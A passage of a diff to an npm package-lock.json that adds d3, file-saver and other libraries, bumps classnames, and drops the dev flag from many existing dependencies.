"sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=", - "dev": true + "integrity": "sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=" }, "anymatch": { "version": "1.3.2", @@ -678,8 +683,50 @@ "aproba": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/aproba/-/aproba-1.2.0.tgz", - "integrity": "sha512-Y9J6ZjXtoYh8RnXVCMOU/ttDmk1aBjunq9vO0ta5x85WDQiQfUF9sIPBITdbiiIVcBo03Hi3jMxigBtsddlXRw==", - "dev": true + "integrity": "sha512-Y9J6ZjXtoYh8RnXVCMOU/ttDmk1aBjunq9vO0ta5x85WDQiQfUF9sIPBITdbiiIVcBo03Hi3jMxigBtsddlXRw==" + }, + "are-we-there-yet": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.5.tgz", + "integrity": "sha512-5hYdAkZlcG8tOLujVDTgCT+uPX0VnpAH28gWsLfzpXYm7wP6mp5Q/gYyR7YQ0cKVJcXJnl3j2kpBan13PtQf6w==", + "requires": { + "delegates": "^1.0.0", + "readable-stream": "^2.0.6" + }, + "dependencies": { + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" + }, + "process-nextick-args": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", + "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==" + }, + "readable-stream": { + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "requires": { + "safe-buffer": "~5.1.0" + } + } + } }, "argparse": { "version": "1.0.9", @@ -714,8 +761,7 @@ "array-find-index": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/array-find-index/-/array-find-index-1.0.2.tgz", - "integrity": "sha1-3wEKoSh+Fku9pvlyOwqWoexBh6E=", - "dev": true + "integrity": "sha1-3wEKoSh+Fku9pvlyOwqWoexBh6E=" }, "array-flatten": { "version": "2.1.1", @@ -780,8 +826,7 @@ "asn1": { "version": "0.2.3", "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.3.tgz", - "integrity": "sha1-2sh4dxPJlmhJ/IGAd36+nB3fO4Y=", - "dev": true + "integrity": "sha1-2sh4dxPJlmhJ/IGAd36+nB3fO4Y=" }, "asn1.js": { "version": "4.10.1", @@ -823,8 +868,7 @@ "assert-plus": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "dev": true + "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=" }, "assertion-error": { "version": "1.1.0", @@ -856,6 +900,11 @@ "integrity": "sha1-GdOGodntxufByF04iu28xW0zYC0=", "dev": true }, + "async-foreach": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/async-foreach/-/async-foreach-0.1.3.tgz", + "integrity": "sha1-NhIfhFwFeBct5Bmpfb6x0W7DRUI=" + }, "async-limiter": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.0.tgz", @@ -865,8 +914,7 @@ "asynckit": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", - "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=", - "dev": true + "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=" }, "atob": { "version": "2.1.1", @@ -877,8 +925,7 @@ "aws-sign2": { "version": "0.7.0", "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz", - "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=", - "dev": true + "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=" }, "aws4": { "version": "1.7.0", @@ -2202,8 +2249,7 @@ "balanced-match": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz", - "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=", - "dev": true + "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=" }, "base": { "version": "0.11.2", @@ -2304,7 +2350,6 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.1.tgz", "integrity": "sha1-Y7xdy2EzG5K8Bf1SiVPDNGKgb40=", - "dev": true, "optional": true, "requires": { "tweetnacl": "^0.14.3" @@ -2345,6 +2390,14 @@ "integrity": "sha1-vPEwUspURj8w+fx+lbmkdjCpSSE=", "dev": true }, + "block-stream": { + "version": "0.0.9", + "resolved": "https://registry.npmjs.org/block-stream/-/block-stream-0.0.9.tgz", + "integrity": "sha1-E+v+d4oDIFz+A3UUgeu0szAMEmo=", + "requires": { + "inherits": "~2.0.0" + } + }, "bluebird": { "version": "3.5.1", "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.5.1.tgz", @@ -2443,7 +2496,6 @@ "version": "1.1.8", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.8.tgz", "integrity": "sha1-wHshHHyVLsH479Uad+8NHTmQopI=", - "dev": true, "requires": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" @@ -2618,8 +2670,7 @@ "builtin-modules": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-1.1.1.tgz", - "integrity": "sha1-Jw8HbFpywC9bZaR9+Uxf46J4iS8=", - "dev": true + "integrity": "sha1-Jw8HbFpywC9bZaR9+Uxf46J4iS8=" }, "builtin-status-codes": { "version": "3.0.0", @@ -2744,7 +2795,6 @@ "version": "2.1.0", "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-2.1.0.tgz", "integrity": "sha1-MIvur/3ygRkFHvodkyITyRuPkuc=", - "dev": true, "requires": { "camelcase": "^2.0.0", "map-obj": "^1.0.0" @@ -2753,8 +2803,7 @@ "camelcase": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-2.1.1.tgz", - "integrity": "sha1-fB0W1nmhu+WcoCys7PsBHiAfWh8=", - "dev": true + "integrity": "sha1-fB0W1nmhu+WcoCys7PsBHiAfWh8=" } } }, @@ -2767,8 +2816,7 @@ "caseless": { "version": "0.12.0", "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz", - "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=", - "dev": true + "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=" }, "center-align": { "version": "0.1.3", @@ -2799,7 +2847,6 @@ "version": "1.1.3", "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=", - "dev": true, "requires": { "ansi-styles": "^2.2.1", "escape-string-regexp": "^1.0.2", @@ -2904,9 +2951,9 @@ } }, "classnames": { - "version": "2.2.5", - "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.2.5.tgz", - "integrity": "sha1-+zgB1FNGdknvNgPH1hoCvRKb3m0=" + "version": "2.2.6", + "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.2.6.tgz", + "integrity": "sha1-Q5Nb/90pHzJtrQogUwmzjQD2UM4=" }, "clean-css": { "version": "4.1.11", @@ -2953,6 +3000,32 @@ } } }, + "clone-deep": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-2.0.2.tgz", + "integrity": "sha512-SZegPTKjCgpQH63E+eN6mVEEPdQBOUzjyJm5Pora4lrwWRFS8I0QAxV/KD6vV/i0WuijHZWQC1fMsPEdxfdVCQ==", + "requires": { + "for-own": "^1.0.0", + "is-plain-object": "^2.0.4", + "kind-of": "^6.0.0", + "shallow-clone": "^1.0.0" + }, + "dependencies": { + "for-own": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/for-own/-/for-own-1.0.0.tgz", + "integrity": "sha1-xjMy9BXO3EsE2/5wz4NklMU8tEs=", + "requires": { + "for-in": "^1.0.1" + } + }, + "kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==" + } + } + }, "co": { "version": "4.6.0", "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz", @@ -2961,8 +3034,7 @@ "code-point-at": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz", - "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=", - "dev": true + "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=" }, "collection-visit": { "version": "1.0.0", @@ -3008,7 +3080,6 @@ "version": "1.0.6", "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.6.tgz", "integrity": "sha1-cj599ugBrFYTETp+RFqbactjKBg=", - "dev": true, "requires": { "delayed-stream": "~1.0.0" } @@ -3016,8 +3087,7 @@ "commander": { "version": "2.15.1", "resolved": "https://registry.npmjs.org/commander/-/commander-2.15.1.tgz", - "integrity": "sha512-VlfT9F3V0v+jr4yxPc5gg9s62/fIVWsd2Bk2iD435um1NlGMYdVCq+MjcXnhYq2icNOizHr1kK+5TI6H0Hy0ag==", - "dev": true + "integrity": "sha512-VlfT9F3V0v+jr4yxPc5gg9s62/fIVWsd2Bk2iD435um1NlGMYdVCq+MjcXnhYq2icNOizHr1kK+5TI6H0Hy0ag==" }, "commondir": { "version": "1.0.1", @@ -3095,8 +3165,7 @@ "concat-map": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=", - "dev": true + "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=" }, "concat-stream": { "version": "1.6.0", @@ -3179,6 +3248,11 @@ "date-now": "^0.1.4" } }, + "console-control-strings": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz", + "integrity": "sha1-PXz0Rk22RG6mRL9LOVB/mFEAjo4=" + }, "constants-browserify": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/constants-browserify/-/constants-browserify-1.0.0.tgz", @@ -3293,7 +3367,7 @@ }, "yargs": { "version": "11.1.0", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-11.1.0.tgz", + "resolved": "http://registry.npmjs.org/yargs/-/yargs-11.1.0.tgz", "integrity": "sha512-NwW69J42EsCSanF8kyn5upxvjp5ds+t3+udGBeTbFnERA+lF541DDpMawzo4z6W/QrzNM18D+BPMiOBibnFV5A==", "dev": true, "requires": { @@ -3321,8 +3395,7 @@ "core-util-is": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", - "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=", - "dev": true + "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=" }, "cosmiconfig": { "version": "5.2.0", @@ -3397,6 +3470,16 @@ "sha.js": "^2.4.8" } }, + "create-react-class": { + "version": "15.6.2", + "resolved": "https://registry.npmjs.org/create-react-class/-/create-react-class-15.6.2.tgz", + "integrity": "sha1-zx7RXxKq1/FO9fLf4F5sQvke8Co=", + "requires": { + "fbjs": "^0.8.9", + "loose-envify": "^1.3.1", + "object-assign": "^4.1.1" + } + }, "cross-spawn": { "version": "5.1.0", "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-5.1.0.tgz", @@ -3548,7 +3631,6 @@ "version": "0.4.1", "resolved": "https://registry.npmjs.org/currently-unhandled/-/currently-unhandled-0.4.1.tgz", "integrity": "sha1-mI3zP+qxke95mmE2nddsF635V+o=", - "dev": true, "requires": { "array-find-index": "^1.0.1" } @@ -3574,11 +3656,274 @@ "es5-ext": "^0.10.9" } }, + "d3": { + "version": "5.11.0", + "resolved": "https://registry.npmjs.org/d3/-/d3-5.11.0.tgz", + "integrity": "sha512-LXgMVUAEAzQh6WfEEOa8tJX4RA64ZJ6twC3CJ+Xzid+fXWLTZkkglagXav/eOoQgzQi5rzV0xC4Sfspd6hFDHA==", + "requires": { + "d3-array": "1", + "d3-axis": "1", + "d3-brush": "1", + "d3-chord": "1", + "d3-collection": "1", + "d3-color": "1", + "d3-contour": "1", + "d3-dispatch": "1", + "d3-drag": "1", + "d3-dsv": "1", + "d3-ease": "1", + "d3-fetch": "1", + "d3-force": "1", + "d3-format": "1", + "d3-geo": "1", + "d3-hierarchy": "1", + "d3-interpolate": "1", + "d3-path": "1", + "d3-polygon": "1", + "d3-quadtree": "1", + "d3-random": "1", + "d3-scale": "2", + "d3-scale-chromatic": "1", + "d3-selection": "1", + "d3-shape": "1", + "d3-time": "1", + "d3-time-format": "2", + "d3-timer": "1", + "d3-transition": "1", + "d3-voronoi": "1", + "d3-zoom": "1" + } + }, + "d3-array": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-1.2.4.tgz", + "integrity": "sha512-KHW6M86R+FUPYGb3R5XiYjXPq7VzwxZ22buHhAEVG5ztoEcZZMLov530mmccaqA1GghZArjQV46fuc8kUqhhHw==" + }, + "d3-axis": { + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/d3-axis/-/d3-axis-1.0.12.tgz", + "integrity": "sha512-ejINPfPSNdGFKEOAtnBtdkpr24c4d4jsei6Lg98mxf424ivoDP2956/5HDpIAtmHo85lqT4pruy+zEgvRUBqaQ==" + }, + "d3-brush": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/d3-brush/-/d3-brush-1.1.3.tgz", + "integrity": "sha512-v8bbYyCFKjyCzFk/tdWqXwDykY8YWqhXYjcYxfILIit085VZOpj4XJKOMccTsvWxgzSLMJQg5SiqHjslsipEDg==", + "requires": { + "d3-dispatch": "1", + "d3-drag": "1", + "d3-interpolate": "1", + "d3-selection": "1", + "d3-transition": "1" + } + }, + "d3-chord": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/d3-chord/-/d3-chord-1.0.6.tgz", + "integrity": "sha512-JXA2Dro1Fxw9rJe33Uv+Ckr5IrAa74TlfDEhE/jfLOaXegMQFQTAgAw9WnZL8+HxVBRXaRGCkrNU7pJeylRIuA==", + "requires": { + "d3-array": "1", + "d3-path": "1" + } + }, + "d3-collection": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/d3-collection/-/d3-collection-1.0.7.tgz", + "integrity": "sha512-ii0/r5f4sjKNTfh84Di+DpztYwqKhEyUlKoPrzUFfeSkWxjW49xU2QzO9qrPrNkpdI0XJkfzvmTu8V2Zylln6A==" + }, + "d3-color": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-1.3.0.tgz", + "integrity": "sha512-NHODMBlj59xPAwl2BDiO2Mog6V+PrGRtBfWKqKRrs9MCqlSkIEb0Z/SfY7jW29ReHTDC/j+vwXhnZcXI3+3fbg==" + }, + "d3-contour": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/d3-contour/-/d3-contour-1.3.2.tgz", + "integrity": "sha512-hoPp4K/rJCu0ladiH6zmJUEz6+u3lgR+GSm/QdM2BBvDraU39Vr7YdDCicJcxP1z8i9B/2dJLgDC1NcvlF8WCg==", + "requires": { + "d3-array": "^1.1.1" + } + }, + "d3-dispatch": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/d3-dispatch/-/d3-dispatch-1.0.5.tgz", + "integrity": "sha512-vwKx+lAqB1UuCeklr6Jh1bvC4SZgbSqbkGBLClItFBIYH4vqDJCA7qfoy14lXmJdnBOdxndAMxjCbImJYW7e6g==" + }, + "d3-drag": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/d3-drag/-/d3-drag-1.2.4.tgz", + "integrity": "sha512-ICPurDETFAelF1CTHdIyiUM4PsyZLaM+7oIBhmyP+cuVjze5vDZ8V//LdOFjg0jGnFIZD/Sfmk0r95PSiu78rw==", + "requires": { + "d3-dispatch": "1", + "d3-selection": "1" + } + }, + "d3-dsv": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/d3-dsv/-/d3-dsv-1.1.1.tgz", + "integrity": "sha512-1EH1oRGSkeDUlDRbhsFytAXU6cAmXFzc52YUe6MRlPClmWb85MP1J5x+YJRzya4ynZWnbELdSAvATFW/MbxaXw==", + "requires": { + "commander": "2", + "iconv-lite": "0.4", + "rw": "1" + } + }, + "d3-ease": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-1.0.5.tgz", + "integrity": "sha512-Ct1O//ly5y5lFM9YTdu+ygq7LleSgSE4oj7vUt9tPLHUi8VCV7QoizGpdWRWAwCO9LdYzIrQDg97+hGVdsSGPQ==" + }, + "d3-fetch": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/d3-fetch/-/d3-fetch-1.1.2.tgz", + "integrity": "sha512-S2loaQCV/ZeyTyIF2oP8D1K9Z4QizUzW7cWeAOAS4U88qOt3Ucf6GsmgthuYSdyB2HyEm4CeGvkQxWsmInsIVA==", + "requires": { + "d3-dsv": "1" + } + }, + "d3-force": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/d3-force/-/d3-force-1.2.1.tgz", + "integrity": "sha512-HHvehyaiUlVo5CxBJ0yF/xny4xoaxFxDnBXNvNcfW9adORGZfyNF1dj6DGLKyk4Yh3brP/1h3rnDzdIAwL08zg==", + "requires": { + "d3-collection": "1", + "d3-dispatch": "1", + "d3-quadtree": "1", + "d3-timer": "1" + } + }, + "d3-format": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-1.3.2.tgz", + "integrity": "sha512-Z18Dprj96ExragQ0DeGi+SYPQ7pPfRMtUXtsg/ChVIKNBCzjO8XYJvRTC1usblx52lqge56V5ect+frYTQc8WQ==" + }, + "d3-geo": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/d3-geo/-/d3-geo-1.11.6.tgz", + "integrity": "sha512-z0J8InXR9e9wcgNtmVnPTj0TU8nhYT6lD/ak9may2PdKqXIeHUr8UbFLoCtrPYNsjv6YaLvSDQVl578k6nm7GA==", + "requires": { + "d3-array": "1" + } + }, + "d3-hierarchy": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/d3-hierarchy/-/d3-hierarchy-1.1.8.tgz", + "integrity": "sha512-L+GHMSZNwTpiq4rt9GEsNcpLa4M96lXMR8M/nMG9p5hBE0jy6C+3hWtyZMenPQdwla249iJy7Nx0uKt3n+u9+w==" + }, + "d3-interpolate": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-1.3.2.tgz", + "integrity": "sha512-NlNKGopqaz9qM1PXh9gBF1KSCVh+jSFErrSlD/4hybwoNX/gt1d8CDbDW+3i+5UOHhjC6s6nMvRxcuoMVNgL2w==", + "requires": { + "d3-color": "1" + } + }, + "d3-path": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-1.0.8.tgz", + "integrity": "sha512-J6EfUNwcMQ+aM5YPOB8ZbgAZu6wc82f/0WFxrxwV6Ll8wBwLaHLKCqQ5Imub02JriCVVdPjgI+6P3a4EWJCxAg==" + }, + "d3-polygon": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/d3-polygon/-/d3-polygon-1.0.5.tgz", + "integrity": "sha512-RHhh1ZUJZfhgoqzWWuRhzQJvO7LavchhitSTHGu9oj6uuLFzYZVeBzaWTQ2qSO6bz2w55RMoOCf0MsLCDB6e0w==" + }, + "d3-quadtree": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/d3-quadtree/-/d3-quadtree-1.0.6.tgz", + "integrity": "sha512-NUgeo9G+ENQCQ1LsRr2qJg3MQ4DJvxcDNCiohdJGHt5gRhBW6orIB5m5FJ9kK3HNL8g9F4ERVoBzcEwQBfXWVA==" + }, + "d3-random": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/d3-random/-/d3-random-1.1.2.tgz", + "integrity": "sha512-6AK5BNpIFqP+cx/sreKzNjWbwZQCSUatxq+pPRmFIQaWuoD+NrbVWw7YWpHiXpCQ/NanKdtGDuB+VQcZDaEmYQ==" + }, + "d3-scale": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-2.2.2.tgz", + "integrity": "sha512-LbeEvGgIb8UMcAa0EATLNX0lelKWGYDQiPdHj+gLblGVhGLyNbaCn3EvrJf0A3Y/uOOU5aD6MTh5ZFCdEwGiCw==", + "requires": { + "d3-array": "^1.2.0", + "d3-collection": "1", + "d3-format": "1", + "d3-interpolate": "1", + "d3-time": "1", + "d3-time-format": "2" + } + }, + "d3-scale-chromatic": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/d3-scale-chromatic/-/d3-scale-chromatic-1.5.0.tgz", + "integrity": "sha512-ACcL46DYImpRFMBcpk9HhtIyC7bTBR4fNOPxwVSl0LfulDAwyiHyPOTqcDG1+t5d4P9W7t/2NAuWu59aKko/cg==", + "requires": { + "d3-color": "1", + "d3-interpolate": "1" + } + }, + "d3-selection": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/d3-selection/-/d3-selection-1.4.0.tgz", + "integrity": "sha512-EYVwBxQGEjLCKF2pJ4+yrErskDnz5v403qvAid96cNdCMr8rmCYfY5RGzWz24mdIbxmDf6/4EAH+K9xperD5jg==" + }, + "d3-shape": { + "version": "1.3.5", + "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-1.3.5.tgz", + "integrity": "sha512-VKazVR3phgD+MUCldapHD7P9kcrvPcexeX/PkMJmkUov4JM8IxsSg1DvbYoYich9AtdTsa5nNk2++ImPiDiSxg==", + "requires": { + "d3-path": "1" + } + }, + "d3-time": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-1.0.11.tgz", + "integrity": "sha512-Z3wpvhPLW4vEScGeIMUckDW7+3hWKOQfAWg/U7PlWBnQmeKQ00gCUsTtWSYulrKNA7ta8hJ+xXc6MHrMuITwEw==" + }, + "d3-time-format": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-2.1.3.tgz", + "integrity": "sha512-6k0a2rZryzGm5Ihx+aFMuO1GgelgIz+7HhB4PH4OEndD5q2zGn1mDfRdNrulspOfR6JXkb2sThhDK41CSK85QA==", + "requires": { + "d3-time": "1" + } + }, + "d3-timer": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-1.0.9.tgz", + "integrity": "sha512-rT34J5HnQUHhcLvhSB9GjCkN0Ddd5Y8nCwDBG2u6wQEeYxT/Lf51fTFFkldeib/sE/J0clIe0pnCfs6g/lRbyg==" + }, + "d3-transition": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/d3-transition/-/d3-transition-1.2.0.tgz", + "integrity": "sha512-VJ7cmX/FPIPJYuaL2r1o1EMHLttvoIuZhhuAlRoOxDzogV8iQS6jYulDm3xEU3TqL80IZIhI551/ebmCMrkvhw==", + "requires": { + "d3-color": "1", + "d3-dispatch": "1", + "d3-ease": "1", + "d3-interpolate": "1", + "d3-selection": "^1.1.0", + "d3-timer": "1" + } + }, + "d3-voronoi": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/d3-voronoi/-/d3-voronoi-1.1.4.tgz", + "integrity": "sha512-dArJ32hchFsrQ8uMiTBLq256MpnZjeuBtdHpaDlYuQyjU0CVzCJl/BVW+SkszaAeH95D/8gxqAhgx0ouAWAfRg==" + }, + "d3-zoom": { + "version": "1.8.3", + "resolved": "https://registry.npmjs.org/d3-zoom/-/d3-zoom-1.8.3.tgz", + "integrity": "sha512-VoLXTK4wvy1a0JpH2Il+F2CiOhVu7VRXWF5M/LroMIh3/zBAC3WAt7QoIvPibOavVo20hN6/37vwAsdBejLyKQ==", + "requires": { + "d3-dispatch": "1", + "d3-drag": "1", + "d3-interpolate": "1", + "d3-selection": "1", + "d3-transition": "1" + } + }, "dashdash": { "version": "1.14.1", "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz", "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=", - "dev": true, "requires": { "assert-plus": "^1.0.0" } @@ -3617,8 +3962,7 @@ "decamelize": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", - "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=", - "dev": true + "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=" }, "decode-uri-component": { "version": "0.2.0", @@ -3773,8 +4117,12 @@ "delayed-stream": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", - "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk=", - "dev": true + "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk=" + }, + "delegates": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz", + "integrity": "sha1-hMbhWbgZBP3KWaDvRM2HDTElD5o=" }, "depd": { "version": "1.1.2", @@ -4021,7 +4369,6 @@ "version": "0.1.1", "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.1.tgz", "integrity": "sha1-D8c6ntXw1Tw4GTOYUj735UN3dQU=", - "dev": true, "optional": true, "requires": { "jsbn": "~0.1.0" @@ -4067,8 +4414,7 @@ "emojis-list": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-2.1.0.tgz", - "integrity": "sha1-TapNnbAPmBmIDHn6RXrlsJof04k=", - "dev": true + "integrity": "sha1-TapNnbAPmBmIDHn6RXrlsJof04k=" }, "encodeurl": { "version": "1.0.2", @@ -5001,8 +5347,7 @@ "extsprintf": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz", - "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=", - "dev": true + "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=" }, "fast-deep-equal": { "version": "1.1.0", @@ -5116,6 +5461,11 @@ } } }, + "file-saver": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/file-saver/-/file-saver-2.0.2.tgz", + "integrity": "sha512-Wz3c3XQ5xroCxd1G8b7yL0Ehkf0TC9oYC6buPFkNnU9EnaPlifeAFCyCh+iewXTyFRcg0a6j3J7FmJsIhlhBdw==" + }, "filename-regex": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/filename-regex/-/filename-regex-2.0.1.tgz", @@ -5194,7 +5544,6 @@ "version": "1.1.2", "resolved": "https://registry.npmjs.org/find-up/-/find-up-1.1.2.tgz", "integrity": "sha1-ay6YIrGizgpgq2TWEOzK1TyyTQ8=", - "dev": true, "requires": { "path-exists": "^2.0.0", "pinkie-promise": "^2.0.0" @@ -5288,8 +5637,7 @@ "for-in": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz", - "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=", - "dev": true + "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=" }, "for-own": { "version": "0.1.5", @@ -5304,14 +5652,12 @@ "forever-agent": { "version": "0.6.1", "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", - "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=", - "dev": true + "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=" }, "form-data": { "version": "2.3.2", "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.2.tgz", "integrity": "sha1-SXBJi+YEwgwAXU9cI67NIda0kJk=", - "dev": true, "requires": { "asynckit": "^0.4.0", "combined-stream": "1.0.6", @@ -5419,8 +5765,7 @@ "fs.realpath": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", - "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=", - "dev": true + "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=" }, "fsevents": { "version": "1.1.2", @@ -5452,8 +5797,7 @@ "ansi-regex": { "version": "2.1.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "aproba": { "version": "1.1.1", @@ -5504,8 +5848,7 @@ "balanced-match": { "version": "0.4.2", "bundled": true, - 